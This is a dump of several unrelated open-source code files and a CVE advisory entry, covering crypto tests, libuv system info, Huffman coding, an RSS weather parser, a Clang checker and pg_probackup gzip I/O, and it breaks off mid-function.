*k, *s, *info, *expect, *okm; k = fromhex(tests[i].ikm, &ksize); s = fromhex(tests[i].salt, &ssize); info = fromhex(tests[i].info, &isize); expect = fromhex(tests[i].okm, &okmsize); okm = malloc(okmsize); hkdf_sha256(okm, okmsize, s, ssize, k, ksize, info, isize); ok1(memcmp(okm, expect, okmsize) == 0); free(k); free(s); free(info); free(expect); free(okm); } return exit_status(); }
1,480
892
<filename>advisories/unreviewed/2022/05/GHSA-848m-2rw5-f2f2/GHSA-848m-2rw5-f2f2.json { "schema_version": "1.2.0", "id": "GHSA-848m-2rw5-f2f2", "modified": "2022-05-13T01:28:52Z", "published": "2022-05-13T01:28:52Z", "aliases": [ "CVE-2011-1527" ], "details": "The kdb_ldap plugin in the Key Distribution Center (KDC) in MIT Kerberos 5 (aka krb5) 1.9 through 1.9.1, when the LDAP back end is used, allows remote attackers to cause a denial of service (NULL pointer dereference and daemon crash) via a kinit operation with incorrect string case for the realm, related to the is_principal_in_realm, krb5_set_error_message, krb5_ldap_get_principal, and process_as_req functions.", "severity": [ ], "affected": [ ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-1527" }, { "type": "WEB", "url": "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=629558" }, { "type": "WEB", "url": "http://web.mit.edu/kerberos/advisories/MITKRB5-SA-2011-006.txt" }, { "type": "WEB", "url": "http://www.kb.cert.org/vuls/id/659251" }, { "type": "WEB", "url": "http://www.mandriva.com/security/advisories?name=MDVSA-2011:159" }, { "type": "WEB", "url": "http://www.redhat.com/support/errata/RHSA-2011-1379.html" } ], "database_specific": { "cwe_ids": [ "CWE-20" ], "severity": "HIGH", "github_reviewed": false } }
711
20,206
<reponame>libcat/libuv /* Copyright libuv project contributors. All rights reserved. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to * deal in the Software without restriction, including without limitation the * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or * sell copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS * IN THE SOFTWARE. */ #include "uv.h" #include "internal.h" #include <FindDirectory.h> /* find_path() */ #include <OS.h> void uv_loadavg(double avg[3]) { avg[0] = 0; avg[1] = 0; avg[2] = 0; } int uv_exepath(char* buffer, size_t* size) { char abspath[B_PATH_NAME_LENGTH]; status_t status; ssize_t abspath_len; if (buffer == NULL || size == NULL || *size == 0) return UV_EINVAL; status = find_path(B_APP_IMAGE_SYMBOL, B_FIND_PATH_IMAGE_PATH, NULL, abspath, sizeof(abspath)); if (status != B_OK) return UV__ERR(status); abspath_len = uv__strscpy(buffer, abspath, *size); *size -= 1; if (abspath_len >= 0 && *size > (size_t)abspath_len) *size = (size_t)abspath_len; return 0; } uint64_t uv_get_free_memory(void) { status_t status; system_info sinfo; status = get_system_info(&sinfo); if (status != B_OK) return 0; return (sinfo.max_pages - sinfo.used_pages) * B_PAGE_SIZE; } uint64_t uv_get_total_memory(void) { status_t status; system_info sinfo; status = get_system_info(&sinfo); if (status != B_OK) return 0; return sinfo.max_pages * B_PAGE_SIZE; } uint64_t uv_get_constrained_memory(void) { return 0; /* Memory constraints are unknown. */ } int uv_resident_set_memory(size_t* rss) { area_info area; ssize_t cookie; status_t status; thread_info thread; status = get_thread_info(find_thread(NULL), &thread); if (status != B_OK) return UV__ERR(status); cookie = 0; *rss = 0; while (get_next_area_info(thread.team, &cookie, &area) == B_OK) *rss += area.ram_size; return 0; } int uv_uptime(double* uptime) { /* system_time() returns time since booting in microseconds */ *uptime = (double)system_time() / 1000000; return 0; } int uv_cpu_info(uv_cpu_info_t** cpu_infos, int* count) { cpu_topology_node_info* topology_infos; int i; status_t status; system_info system; uint32_t topology_count; uint64_t cpuspeed; uv_cpu_info_t* cpu_info; if (cpu_infos == NULL || count == NULL) return UV_EINVAL; status = get_cpu_topology_info(NULL, &topology_count); if (status != B_OK) return UV__ERR(status); topology_infos = uv__malloc(topology_count * sizeof(*topology_infos)); if (topology_infos == NULL) return UV_ENOMEM; status = get_cpu_topology_info(topology_infos, &topology_count); if (status != B_OK) { uv__free(topology_infos); return UV__ERR(status); } cpuspeed = 0; for (i = 0; i < (int)topology_count; i++) { if (topology_infos[i].type == B_TOPOLOGY_CORE) { cpuspeed = topology_infos[i].data.core.default_frequency; break; } } uv__free(topology_infos); status = get_system_info(&system); if (status != B_OK) return UV__ERR(status); *cpu_infos = uv__calloc(system.cpu_count, sizeof(**cpu_infos)); if (*cpu_infos == NULL) return UV_ENOMEM; /* CPU time and model are not exposed by Haiku. */ cpu_info = *cpu_infos; for (i = 0; i < (int)system.cpu_count; i++) { cpu_info->model = uv__strdup("unknown"); cpu_info->speed = (int)(cpuspeed / 1000000); cpu_info++; } *count = system.cpu_count; return 0; }
1,638
21,684
<reponame>zadcha/rethinkdb // Copyright 2010-2014 RethinkDB, all rights reserved. #ifndef RDB_PROTOCOL_GEO_EXCEPTIONS_HPP_ #define RDB_PROTOCOL_GEO_EXCEPTIONS_HPP_ #include <exception> #include <string> #include "utils.hpp" class geo_exception_t : public std::exception { public: explicit geo_exception_t(std::string msg) : msg_(msg) { } virtual ~geo_exception_t() throw() { } const char *what() const throw() { return msg_.c_str(); } private: std::string msg_; }; class geo_range_exception_t : public geo_exception_t { public: explicit geo_range_exception_t(std::string msg) : geo_exception_t(msg) { } }; #endif // RDB_PROTOCOL_GEO_EXCEPTIONS_HPP_
285
443
/** * zling: * light-weight lossless data compression utility. * * Copyright (C) 2012-2013 by <NAME> <zhangli10 at baidu.com> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the project nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE PROJECT AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE PROJECT OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @author zhangli10<<EMAIL>> * @brief manipulate huffman encoding. */ #include "libzling_huffman.h" #ifndef __GNUC__ // __builtin_clz() implement on other compilers #define __builtin_clz(x) __clz_impl(x) static inline int __clz_impl(uint32_t x, int c = 32) { while (x > 0) { c -= 1; x /= 2; } return c; } #endif namespace baidu { namespace zling { namespace huffman { static inline uint32_t RoundDown(uint32_t x) { while (x & (-x ^ x)) { x &= -x ^ x; } return x; } static inline uint32_t RoundUp(uint32_t x) { while (x & (-x ^ x)) { x &= -x ^ x; } return x << 1; } void ZlingMakeLengthTable(const uint32_t* freq_table, uint32_t* length_table, int scaling, int max_codes, int max_codelen) { static const int kMaxCodes = 1024; /* max_codes > kMaxCodes not supported */ int symbols[kMaxCodes]; // init for (int i = 0; i < max_codes; i++) { if (freq_table[i] > 0 && freq_table[i] >> scaling == 0) { length_table[i] = 1; } else { length_table[i] = freq_table[i] >> scaling; } } // sort symbols (using CombSort) int delta = max_codes; int nswap = 1; for (int i = 0; i < max_codes; i++) { symbols[i] = i; } while (delta + nswap > 1) { nswap = 0; delta = int(delta / 1.33); for (int i = 0; i + delta < max_codes; i++) { if (length_table[symbols[i]] < length_table[symbols[i + delta]]) { nswap = 0; std::swap(symbols[i], symbols[i + delta]); } } } // round frequency uint32_t sum = 0; uint32_t run = 0; for (int i = 0; i < max_codes; i++) { sum += length_table[i]; } for (int i = 0; i < max_codes; i++) { length_table[i] = RoundDown(length_table[i]); run += length_table[i]; } sum = RoundUp(sum); while (run < sum) { for (int i = 0; i < max_codes; i++) { if (run + length_table[symbols[i]] <= sum) { run += length_table[symbols[i]]; length_table[symbols[i]] += length_table[symbols[i]]; } } } // get code length for (int i = 0; i < max_codes; i++) { if (length_table[i] > 0) { length_table[i] = 31 - (__builtin_clz(sum / length_table[i])); // bugfix: 20131229 // only happens when all symbols except i have zero frequency (sum == length_table[i]) if (freq_table[i] > 0 && length_table[i] == 0) { length_table[i] = 1; } // code length too long? -- scale and rebuild table if (length_table[i] > uint32_t(max_codelen)) { ZlingMakeLengthTable(freq_table, length_table, ++scaling, max_codes, max_codelen); return; } } } return; } void ZlingMakeEncodeTable( const uint32_t* length_table, uint16_t* encode_table, int max_codes, int max_codelen) { int code = 0; memset(encode_table, 0, sizeof(encode_table[0]) * max_codes); // make code for each symbol for (int codelen = 1; codelen <= max_codelen; codelen++) { for (int i = 0; i < max_codes; i++) { if (length_table[i] == static_cast<uint32_t>(codelen)) { encode_table[i] = code; code += 1; } } code *= 2; } // reverse each code for (int i = 0; i < max_codes; i++) { encode_table[i] = ((encode_table[i] & 0xff00) >> 8 | (encode_table[i] & 0x00ff) << 8); encode_table[i] = ((encode_table[i] & 0xf0f0) >> 4 | (encode_table[i] & 0x0f0f) << 4); encode_table[i] = ((encode_table[i] & 0xcccc) >> 2 | (encode_table[i] & 0x3333) << 2); encode_table[i] = ((encode_table[i] & 0xaaaa) >> 1 | (encode_table[i] & 0x5555) << 1); encode_table[i] >>= 16 - length_table[i]; } return; } void ZlingMakeDecodeTable( const uint32_t* length_table, uint16_t* encode_table, uint16_t* decode_table, int max_codes, int max_codelen) { memset(decode_table, -1, sizeof(decode_table[0]) * (1 << max_codelen)); for (int c = 0; c < max_codes; c++) { if (length_table[c] > 0 && length_table[c] <= uint16_t(max_codelen)) { for (int i = encode_table[c]; i < (1 << max_codelen); i += (1 << length_table[c])) { decode_table[i] = c; } } } return; } } // namespace huffman } // namespace zling } // namespace baidu
2,860
759
<reponame>tonytw1/rome<filename>rome-modules/src/main/java/com/rometools/modules/yahooweather/io/WeatherModuleParser.java /* * Copyright 2008 <NAME>, Temple of the Screaming Penguin * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.rometools.modules.yahooweather.io; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.Iterator; import java.util.List; import java.util.Locale; import org.jdom2.Element; import org.jdom2.Namespace; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import com.rometools.modules.yahooweather.YWeatherModule; import com.rometools.modules.yahooweather.YWeatherModuleImpl; import com.rometools.modules.yahooweather.types.Astronomy; import com.rometools.modules.yahooweather.types.Atmosphere; import com.rometools.modules.yahooweather.types.Condition; import com.rometools.modules.yahooweather.types.ConditionCode; import com.rometools.modules.yahooweather.types.Forecast; import com.rometools.modules.yahooweather.types.Location; import com.rometools.modules.yahooweather.types.Units; import com.rometools.modules.yahooweather.types.Wind; import com.rometools.rome.feed.module.Module; import com.rometools.rome.io.ModuleParser; /** * ModuleParser implementation for Slash RSS. */ public class WeatherModuleParser implements ModuleParser { private static final Logger LOG = LoggerFactory.getLogger(WeatherModuleParser.class); private static final Namespace NS = Namespace.getNamespace(YWeatherModule.URI); @Override public String getNamespaceUri() { return YWeatherModule.URI; } @Override public Module parse(final Element element, final Locale locale) { final YWeatherModuleImpl module = new YWeatherModuleImpl(); final Element location = element.getChild("location", WeatherModuleParser.NS); if (location != null) { final Location l = new Location(location.getAttributeValue("city"), location.getAttributeValue("region"), location.getAttributeValue("country")); module.setLocation(l); } final Element units = element.getChild("units", WeatherModuleParser.NS); if (units != null) { final Units u = new Units(units.getAttributeValue("temperature"), units.getAttributeValue("distance"), units.getAttributeValue("pressure"), units.getAttributeValue("speed")); module.setUnits(u); } final Element wind = element.getChild("wind", WeatherModuleParser.NS); if (wind != null) { try { final Wind w = new Wind(Integer.parseInt(wind.getAttributeValue("chill")), Integer.parseInt(wind.getAttributeValue("direction")), Integer.parseInt(wind.getAttributeValue("speed"))); module.setWind(w); } catch (final NumberFormatException nfe) { LOG.warn("NumberFormatException processing <wind> tag.", nfe); } } final Element atmosphere = element.getChild("atmosphere", WeatherModuleParser.NS); if (atmosphere != null) { try { final Atmosphere a = new Atmosphere(Integer.parseInt(atmosphere.getAttributeValue("humidity")), Double.parseDouble(atmosphere .getAttributeValue("visibility")) / 100, Double.parseDouble(atmosphere.getAttributeValue("pressure")), Atmosphere.PressureChange.fromCode(Integer.parseInt(atmosphere.getAttributeValue("rising")))); module.setAtmosphere(a); } catch (final NumberFormatException nfe) { LOG.warn("NumberFormatException processing <atmosphere> tag.", nfe); } } final Element astronomy = element.getChild("astronomy", WeatherModuleParser.NS); if (astronomy != null) { try { final SimpleDateFormat timeFormat = new SimpleDateFormat("h:mm a", locale); final Astronomy a = new Astronomy(timeFormat.parse(astronomy.getAttributeValue("sunrise").replaceAll("am", "AM").replaceAll("pm", "PM")), timeFormat.parse(astronomy.getAttributeValue("sunset").replaceAll("am", "AM").replaceAll("pm", "PM"))); module.setAstronomy(a); } catch (final ParseException pe) { LOG.warn("ParseException processing <astronomy> tag.", pe); } } final Element condition = element.getChild("condition", WeatherModuleParser.NS); if (condition != null) { try { final SimpleDateFormat dateFormat = new SimpleDateFormat("EEE, d MMM yyyy h:mm a zzz", locale); final Condition c = new Condition(condition.getAttributeValue("text"), ConditionCode.fromCode(Integer.parseInt(condition .getAttributeValue("code"))), Integer.parseInt(condition.getAttributeValue("temp")), dateFormat.parse(condition .getAttributeValue("date").replaceAll("pm", "PM").replaceAll("am", "AM"))); module.setCondition(c); } catch (final NumberFormatException nfe) { LOG.warn("NumberFormatException processing <condition> tag.", nfe); } catch (final ParseException pe) { LOG.warn("ParseException processing <condition> tag.", pe); } } final List<Element> forecasts = element.getChildren("forecast", WeatherModuleParser.NS); if (forecasts != null) { final Forecast[] f = new Forecast[forecasts.size()]; int i = 0; final SimpleDateFormat dateFormat = new SimpleDateFormat("d MMM yyyy", locale); for (final Iterator<Element> it = forecasts.iterator(); it.hasNext(); i++) { final Element forecast = it.next(); try { f[i] = new Forecast(forecast.getAttributeValue("day"), dateFormat.parse(forecast.getAttributeValue("date")), Integer.parseInt(forecast .getAttributeValue("low")), Integer.parseInt(forecast.getAttributeValue("high")), forecast.getAttributeValue("text"), ConditionCode.fromCode(Integer.parseInt(forecast.getAttributeValue("code")))); } catch (final NumberFormatException nfe) { LOG.warn("NumberFormatException processing <forecast> tag.", nfe); } catch (final ParseException pe) { LOG.warn("ParseException processing <forecast> tag.", pe); } } module.setForecasts(f); } return module; } }
2,787
2,338
<filename>third-party/llvm/llvm-src/tools/clang/lib/StaticAnalyzer/Checkers/WebKit/UncountedCallArgsChecker.cpp //=======- UncountedCallArgsChecker.cpp --------------------------*- C++ -*-==// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// #include "ASTUtils.h" #include "DiagOutputUtils.h" #include "PtrTypesSemantics.h" #include "clang/AST/CXXInheritance.h" #include "clang/AST/Decl.h" #include "clang/AST/DeclCXX.h" #include "clang/AST/RecursiveASTVisitor.h" #include "clang/Basic/SourceLocation.h" #include "clang/StaticAnalyzer/Checkers/BuiltinCheckerRegistration.h" #include "clang/StaticAnalyzer/Core/BugReporter/BugReporter.h" #include "clang/StaticAnalyzer/Core/BugReporter/BugType.h" #include "clang/StaticAnalyzer/Core/Checker.h" #include "llvm/ADT/DenseSet.h" using namespace clang; using namespace ento; namespace { class UncountedCallArgsChecker : public Checker<check::ASTDecl<TranslationUnitDecl>> { BugType Bug{this, "Uncounted call argument for a raw pointer/reference parameter", "WebKit coding guidelines"}; mutable BugReporter *BR; public: void checkASTDecl(const TranslationUnitDecl *TUD, AnalysisManager &MGR, BugReporter &BRArg) const { BR = &BRArg; // The calls to checkAST* from AnalysisConsumer don't // visit template instantiations or lambda classes. We // want to visit those, so we make our own RecursiveASTVisitor. struct LocalVisitor : public RecursiveASTVisitor<LocalVisitor> { const UncountedCallArgsChecker *Checker; explicit LocalVisitor(const UncountedCallArgsChecker *Checker) : Checker(Checker) { assert(Checker); } bool shouldVisitTemplateInstantiations() const { return true; } bool shouldVisitImplicitCode() const { return false; } bool VisitCallExpr(const CallExpr *CE) { Checker->visitCallExpr(CE); return true; } }; LocalVisitor visitor(this); visitor.TraverseDecl(const_cast<TranslationUnitDecl *>(TUD)); } void visitCallExpr(const CallExpr *CE) const { if (shouldSkipCall(CE)) return; if (auto *F = CE->getDirectCallee()) { // Skip the first argument for overloaded member operators (e. g. lambda // or std::function call operator). unsigned ArgIdx = isa<CXXOperatorCallExpr>(CE) && dyn_cast_or_null<CXXMethodDecl>(F); for (auto P = F->param_begin(); // FIXME: Also check variadic function parameters. // FIXME: Also check default function arguments. Probably a different // checker. In case there are default arguments the call can have // fewer arguments than the callee has parameters. P < F->param_end() && ArgIdx < CE->getNumArgs(); ++P, ++ArgIdx) { // TODO: attributes. // if ((*P)->hasAttr<SafeRefCntblRawPtrAttr>()) // continue; const auto *ArgType = (*P)->getType().getTypePtrOrNull(); if (!ArgType) continue; // FIXME? Should we bail? // FIXME: more complex types (arrays, references to raw pointers, etc) Optional<bool> IsUncounted = isUncountedPtr(ArgType); if (!IsUncounted || !(*IsUncounted)) continue; const auto *Arg = CE->getArg(ArgIdx); std::pair<const clang::Expr *, bool> ArgOrigin = tryToFindPtrOrigin(Arg, true); // Temporary ref-counted object created as part of the call argument // would outlive the call. if (ArgOrigin.second) continue; if (isa<CXXNullPtrLiteralExpr>(ArgOrigin.first)) { // foo(nullptr) continue; } if (isa<IntegerLiteral>(ArgOrigin.first)) { // FIXME: Check the value. // foo(NULL) continue; } if (isASafeCallArg(ArgOrigin.first)) continue; reportBug(Arg, *P); } } } bool shouldSkipCall(const CallExpr *CE) const { if (CE->getNumArgs() == 0) return false; // If an assignment is problematic we should warn about the sole existence // of object on LHS. if (auto *MemberOp = dyn_cast<CXXOperatorCallExpr>(CE)) { // Note: assignemnt to built-in type isn't derived from CallExpr. if (MemberOp->isAssignmentOp()) return false; } const auto *Callee = CE->getDirectCallee(); if (!Callee) return false; auto overloadedOperatorType = Callee->getOverloadedOperator(); if (overloadedOperatorType == OO_EqualEqual || overloadedOperatorType == OO_ExclaimEqual || overloadedOperatorType == OO_LessEqual || overloadedOperatorType == OO_GreaterEqual || overloadedOperatorType == OO_Spaceship || overloadedOperatorType == OO_AmpAmp || overloadedOperatorType == OO_PipePipe) return true; if (isCtorOfRefCounted(Callee)) return true; auto name = safeGetName(Callee); if (name == "adoptRef" || name == "getPtr" || name == "WeakPtr" || name == "makeWeakPtr" || name == "downcast" || name == "bitwise_cast" || name == "is" || name == "equal" || name == "hash" || name == "isType" // FIXME: Most/all of these should be implemented via attributes. || name == "equalIgnoringASCIICase" || name == "equalIgnoringASCIICaseCommon" || name == "equalIgnoringNullity") return true; return false; } void reportBug(const Expr *CallArg, const ParmVarDecl *Param) const { assert(CallArg); SmallString<100> Buf; llvm::raw_svector_ostream Os(Buf); const std::string paramName = safeGetName(Param); Os << "Call argument"; if (!paramName.empty()) { Os << " for parameter "; printQuotedQualifiedName(Os, Param); } Os << " is uncounted and unsafe."; const SourceLocation SrcLocToReport = isa<CXXDefaultArgExpr>(CallArg) ? Param->getDefaultArg()->getExprLoc() : CallArg->getSourceRange().getBegin(); PathDiagnosticLocation BSLoc(SrcLocToReport, BR->getSourceManager()); auto Report = std::make_unique<BasicBugReport>(Bug, Os.str(), BSLoc); Report->addRange(CallArg->getSourceRange()); BR->emitReport(std::move(Report)); } }; } // namespace void ento::registerUncountedCallArgsChecker(CheckerManager &Mgr) { Mgr.registerChecker<UncountedCallArgsChecker>(); } bool ento::shouldRegisterUncountedCallArgsChecker(const CheckerManager &) { return true; }
2,666
12,377
<reponame>Intsigstephon/insightface import oneflow as flow # same as torch def _get_initializer(): return flow.random_normal_initializer(mean=0.0, stddev=0.1) def _get_initializer_FC(): return flow.random_normal_initializer(mean=0.0, stddev=0.01) def _get_regularizer(name): return flow.regularizers.l2(0.0005) def _dropout(input_blob, dropout_prob): return flow.nn.dropout(input_blob, rate=dropout_prob) def _prelu(inputs, data_format="NCHW", name=None): return flow.layers.prelu( inputs, alpha_initializer=flow.constant_initializer(0.25), alpha_regularizer=_get_regularizer("alpha"), shared_axes=[2, 3] if data_format == "NCHW" else [1, 2], name=name, ) def _relu(inputs, data_format="NCHW", name=None): return flow.nn.relu( inputs, name=name, ) def _avg_pool(inputs, pool_size, strides, padding, data_format="NCHW", name=None): return flow.nn.avg_pool2d( input=inputs, ksize=pool_size, strides=strides, padding=padding, data_format=data_format, name=name ) def _batch_norm( inputs, epsilon, center=True, scale=True, trainable=True, is_training=True, data_format="NCHW", name=None, ): return flow.layers.batch_normalization( inputs=inputs, axis=3 if data_format == "NHWC" and inputs.shape == 4 else 1, momentum=0.9, epsilon=epsilon, center=center, scale=scale, beta_initializer=flow.zeros_initializer(), gamma_initializer=flow.ones_initializer(), beta_regularizer=_get_regularizer("beta"), gamma_regularizer=_get_regularizer("gamma"), moving_mean_initializer=flow.zeros_initializer(), moving_variance_initializer=flow.ones_initializer(), trainable=trainable, training=is_training, name=name, ) def _conv2d_layer( name, input, filters, kernel_size=3, strides=1, padding="SAME", group_num=1, data_format="NCHW", dilation_rate=1, activation=None, use_bias=False, weight_initializer=_get_initializer(), bias_initializer=flow.zeros_initializer(), weight_regularizer=_get_regularizer("weight"), bias_regularizer=_get_regularizer("bias"), ): return flow.layers.conv2d(inputs=input, filters=filters, kernel_size=kernel_size, strides=strides, padding=padding, data_format=data_format, dilation_rate=dilation_rate, groups=group_num, activation=activation, use_bias=use_bias, kernel_initializer=weight_initializer, bias_initializer=bias_initializer, kernel_regularizer=weight_regularizer, bias_regularizer=bias_regularizer, name=name) def Linear( input_blob, num_filter=1, kernel=None, stride=None, pad="valid", num_group=1, bn_is_training=True, data_format="NCHW", name=None, suffix="", ): conv = _conv2d_layer( name="%s%s_conv2d" % (name, suffix), input=input_blob, filters=num_filter, kernel_size=kernel, strides=stride, padding=pad, data_format=data_format, group_num=num_group, use_bias=False, dilation_rate=1, activation=None, ) bn = _batch_norm( conv, epsilon=0.001, is_training=bn_is_training, data_format=data_format, name="%s%s_batchnorm" % (name, suffix), ) return bn def get_fc1(last_conv, num_classes, fc_type, input_channel=512): body = last_conv if fc_type == "Z": body = _batch_norm( body, epsilon=2e-5, scale=False, center=True, is_training=True, data_format="NCHW", name="bn2" ) body = _dropout(body, 0.4) fc1 = body elif fc_type == "E": body = _batch_norm( body, epsilon=2e-5, is_training=True, data_format="NCHW", name="bn2" ) body = _dropout(body, dropout_prob=0.4) body = flow.flatten(body, 1) fc1 = flow.layers.dense( inputs=body, units=num_classes, activation=None, use_bias=True, kernel_initializer=_get_initializer(), bias_initializer=flow.zeros_initializer(), kernel_regularizer=_get_regularizer("weight"), bias_regularizer=_get_regularizer("bias"), trainable=True, name="pre_fc1", ) fc1 = _batch_norm( fc1, epsilon=2e-5, scale=False, center=True, is_training=True, data_format="NCHW", name="fc1", ) elif fc_type == "FC": body = _batch_norm( body, epsilon=2e-5, is_training=True, data_format="NCHW", name="bn2" ) body = flow.flatten(body, 1) fc1 = flow.layers.dense( inputs=body, units=num_classes, activation=None, use_bias=True, kernel_initializer=_get_initializer(), bias_initializer=flow.zeros_initializer(), kernel_regularizer=_get_regularizer("weight"), bias_regularizer=_get_regularizer("bias"), trainable=True, name="fc" ) fc1 = _batch_norm( fc1, epsilon=2e-5, scale=False, center=True, is_training=True, data_format="NCHW", name="features" ) elif fc_type == "GDC": conv_6_dw = Linear( last_conv, num_filter=input_channel, # 512 num_group=input_channel, # 512 kernel=7, pad="valid", stride=[1, 1], bn_is_training=True, data_format="NCHW", name="conv_6dw7_7", ) conv_6_dw = flow.reshape(conv_6_dw, (body.shape[0], -1)) conv_6_f = flow.layers.dense( inputs=conv_6_dw, units=num_classes, activation=None, use_bias=True, kernel_initializer=_get_initializer(), bias_initializer=flow.zeros_initializer(), kernel_regularizer=_get_regularizer("weight"), bias_regularizer=_get_regularizer("bias"), trainable=True, name="pre_fc1", ) fc1 = _batch_norm( conv_6_f, epsilon=2e-5, scale=False, center=True, is_training=True, data_format="NCHW", name="fc1", ) return fc1
3,496
32,544
<filename>json/src/test/java/com/baeldung/jsonjava/JSONObjectIntegrationTest.java package com.baeldung.jsonjava; import static org.junit.Assert.assertEquals; import java.util.HashMap; import java.util.Map; import org.json.JSONObject; import org.junit.Test; public class JSONObjectIntegrationTest { @Test public void givenJSONJava_thenCreateNewJSONObject() { JSONObject jo = new JSONObject(); jo.put("name", "<NAME>"); jo.put("age", "22"); jo.put("city", "chicago"); assertEquals("{\"city\":\"chicago\",\"name\":\"<NAME>\",\"age\":\"22\"}", jo.toString()); } @Test public void givenMapObject_thenCreateJSONObject() { Map<String, String> map = new HashMap<>(); map.put("name", "<NAME>"); map.put("age", "22"); map.put("city", "chicago"); JSONObject jo = new JSONObject(map); assertEquals("{\"name\":\"<NAME>\",\"city\":\"chicago\",\"age\":\"22\"}", jo.toString()); } @Test public void givenJsonString_thenCreateJSONObject() { JSONObject jo = new JSONObject( "{\"city\":\"chicago\",\"name\":\"<NAME>\",\"age\":\"22\"}" ); assertEquals("{\"city\":\"chicago\",\"name\":\"<NAME>\",\"age\":\"22\"}", jo.toString()); } }
574
360
<filename>src/bin/pg_probackup/file_gz.cpp /*------------------------------------------------------------------------- * * file.c * * Portions Copyright (c) 2020 Huawei Technologies Co.,Ltd. * Portions Copyright (c) 1996-2018, PostgreSQL Global Development Group * *------------------------------------------------------------------------- */ #include "pg_probackup.h" #include <stdio.h> #include <unistd.h> #include <sys/stat.h> #include "file.h" #include "storage/checksum.h" #include "common/fe_memutils.h" #ifdef HAVE_LIBZ #define ZLIB_BUFFER_SIZE (64*1024) #define MAX_WBITS 15 /* 32K LZ77 window */ #define DEF_MEM_LEVEL 8 #define FIO_GZ_REMOTE_MARKER 1 typedef struct fioGZFile { z_stream strm; int fd; int errnum; bool compress; bool eof; Bytef buf[ZLIB_BUFFER_SIZE]; } fioGZFile; /* On error returns NULL and errno should be checked */ gzFile fio_gzopen(char const* path, char const* mode, int level, fio_location location) { int rc; if (fio_is_remote(location)) { fioGZFile* gz = (fioGZFile*) pgut_malloc(sizeof(fioGZFile)); rc = memset_s(&gz->strm, sizeof(gz->strm), 0, sizeof(gz->strm)); securec_check(rc, "\0", "\0"); gz->eof = 0; gz->errnum = Z_OK; /* check if file opened for writing */ if (strcmp(mode, PG_BINARY_W) == 0) /* compress */ { gz->strm.next_out = gz->buf; gz->strm.avail_out = ZLIB_BUFFER_SIZE; rc = deflateInit2(&gz->strm, level, Z_DEFLATED, MAX_WBITS + 16, DEF_MEM_LEVEL, Z_DEFAULT_STRATEGY); if (rc == Z_OK) { gz->compress = 1; gz->fd = fio_open(path, O_WRONLY | O_CREAT | O_EXCL | PG_BINARY, location); if (gz->fd < 0) { free(gz); return NULL; } } } else { gz->strm.next_in = gz->buf; gz->strm.avail_in = ZLIB_BUFFER_SIZE; rc = inflateInit2(&gz->strm, 15 + 16); gz->strm.avail_in = 0; if (rc == Z_OK) { gz->compress = 0; gz->fd = fio_open(path, O_RDONLY | PG_BINARY, location); if (gz->fd < 0) { free(gz); return NULL; } } } if (rc != Z_OK) { elog(ERROR, "zlib internal error when opening file %s: %s", path, gz->strm.msg); } return (gzFile)((size_t)gz + FIO_GZ_REMOTE_MARKER); } else { gzFile file; /* check if file opened for writing */ if (strcmp(mode, PG_BINARY_W) == 0) { int fd = open(path, O_WRONLY | O_CREAT | O_EXCL | PG_BINARY, FILE_PERMISSIONS); if (fd < 0) return NULL; file = gzdopen(fd, mode); } else file = gzopen(path, mode); if (file != NULL && level != Z_DEFAULT_COMPRESSION) { if (gzsetparams(file, level, Z_DEFAULT_STRATEGY) != Z_OK) elog(ERROR, "Cannot set compression level %d: %s", level, strerror(errno)); } return file; } } int fio_gzread(gzFile f, void *buf, unsigned size) { if ((size_t)f & FIO_GZ_REMOTE_MARKER) { int rc; fioGZFile* gz = (fioGZFile*)((size_t)f - FIO_GZ_REMOTE_MARKER); if 